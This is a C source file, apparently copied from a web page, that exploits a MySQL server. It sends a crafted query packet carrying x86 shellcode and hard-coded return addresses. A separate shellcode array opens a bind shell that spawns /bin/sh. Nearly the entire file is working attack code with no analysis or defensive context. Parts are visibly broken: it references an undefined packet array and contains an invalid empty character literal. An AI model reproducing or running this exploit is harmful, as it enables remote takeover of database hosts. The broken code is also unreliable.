1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199


01.#include <stdio.h>   
02.#include <mysql.h>   
03.#include <unistd.h>   
04.int thd = 0x8b1b338;   

05.int tbl = 0x8b3a880;   
06.#define USOCK2 "/tmp/mysql.sock"   
07.char addr_tdh[4];   

08.char addr_tbl[4];   
09.char addr_ret[4];   

10.  
11.#define TBL_POS   182   
12.#define THD_POS   178   
13.#define RET_POS   174   
14.#define SHL_POS   34   
15.char shcode[] = {   

16.   0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12   

17.,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1   

18.,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80   

19.,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0   

20.,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80   

21.,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f   

22.,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84   

23.};   
24.int tmp_idx = 0;   
25.int dump_packet_len = 7;   

26.char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };   

27.int payload_len = 371;   
28.// header packet + select '0x39'   
29.char query_payload[] = {   

30.       0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16    Some junk from position 6 ...   

31.     , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32   

32.     , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48   

33.     , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64   

34.     , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72   

35.     , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88   

36.     , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94   

37.     , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112   

38.     , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118   

39.     , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144   

40.     , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160   

41.     , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176   

42.     , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d // len=16*4+1=65;   

43.};       
44.  
45.int anon_pckt_len = 65;   
46.  

47.#define USOCK "/tmp/mysql2.sock"   
48.  
49.int  
50.tcp_conn (char *hostname, int port)   

51.{   
52.  
53.   int sockfd;   
54.   int n;   

55.   struct sockaddr_in servaddr;   
56.  
57.   struct hostent *hp;   

58.  
59.  
60.   if ((hp = gethostbyname (hostname)) == 0)   

61.     {   
62.       perror ("gethostbyname");   
63.       exit (0);   

64.     }   
65.  
66.   if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)   

67.     {   
68.       perror ("socket");   
69.       exit (1);   

70.     }   
71.  
72.   bzero ((char *) &servaddr, sizeof (servaddr));   

73.   servaddr.sin_family = AF_INET;   
74.   servaddr.sin_port = htons (port);   

75.  
76.   memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);   

77.   if (servaddr.sin_addr.s_addr <= 0)   
78.     {   

79.       perror ("bad address after gethostbyname");   
80.       exit (1);   
81.     }   

82.   if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)   

83.     {   
84.       perror ("connect");   
85.       exit (1);   

86.     }   
87.   return sockfd;   
88.}   
89.  
90.int  

91.unix_conn (char *path)   
92.{   
93.   int fd, len;   

94.   struct sockaddr_un sa;   
95.  
96.   fd = socket (PF_UNIX, SOCK_STREAM, 0);   

97.  
98.   if (fd < 0)   
99.     {   
100.       perror ("cli: socket(PF_UNIX,SOCK_STREAM)");   

101.       exit (1);   
102.     }   
103.  
104.   sa.sun_family = AF_UNIX;   

105.   strcpy (sa.sun_path, path);   
106.   len = sizeof (sa);   

107.   if (connect (fd, (struct sockaddr *) &sa, len) < 0)   

108.     {   
109.       perror ("cli: connect()");   
110.       exit (1);   

111.     }   
112.   return fd;   
113.}   
114.  
115.int  

116.main (int argc, char *argv[])   

117.{   
118.   int fd;   
119.   int i, ret;   

120.   char packet[65535];   
121.   char *path;   

122.   char *host;   
123.   int port = 3306;   

124.   char buf[65535];   
125.   int db_len = 0;   

126.   int pckt_len = anon_pckt_len;   
127.   int unix_sock = 1;   

128.   char c;   
129.  
130.   path = strdup (USOCK);   

131.   host = strdup ("127.0.0.1");   
132.  
133.   opterr = 0;   

134.  
135.   while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)   

136.     switch (c)   
137.       {   
138.       case 's':   

139.path = strdup (optarg);   
140.unix_sock = 1;   

141.break;   
142.       case 'h':   
143.host = strdup (optarg);   

144.unix_sock = 0;   
145.break;   
146.       case 'p':   

147.port = atoi (optarg);   
148.unix_sock = 0;   

149.break;   
150.       case 'n':   
151.db_len = atoi (optarg);   

152.break;   
153.  
154.       default:   
155.break;   
156.       }   

157.  
158.  
159.   bzero (packet, 65535);   
160.  

161.   pckt_len = anon_pckt_len + db_len;   
162.   printf ("%d ", pckt_len);   

163.  
164.   for (i = 0; i < pckt_len; i++)   

165.     packet[i] = anon_pckt[i];   
166.  

167.   if (db_len)   
168.     for (i = anon_pckt_len - 2; i < pckt_len; i++)   

169.       packet[i] = 'A';   
170.  
171.   packet[pckt_len - 1] = '';   

172.  
173.   packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;   

174.   packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;   

175.   for (i = 0; i < pckt_len; i++)   

176.     printf (" %.2x%c", (unsigned char) packet[i],   

177.     ((i + 1) % 16 ? ' ' : ' '));   

178.   printf (" ");   
179.  
180.  
181.   if (unix_sock)   

182.     fd = unix_conn (path);   
183.   else  
184.     fd = tcp_conn (host, port);   

185.  
186.   sleep (1);   
187.   ret = recv (fd, buf, 65535, 0);   

188.   if (send (fd, packet, pckt_len, 0) != pckt_len)   

189.     {   
190.       perror ("cli: send(anon_pckt)");   
191.       exit (1);   

192.     }   
193.  
194.   ret = recv (fd, buf, 65535, 0);   

195.   for (i = 0; i < ret; i++)   

196.     printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));   

197.   printf (" ");   
198.   return 0;   
199.}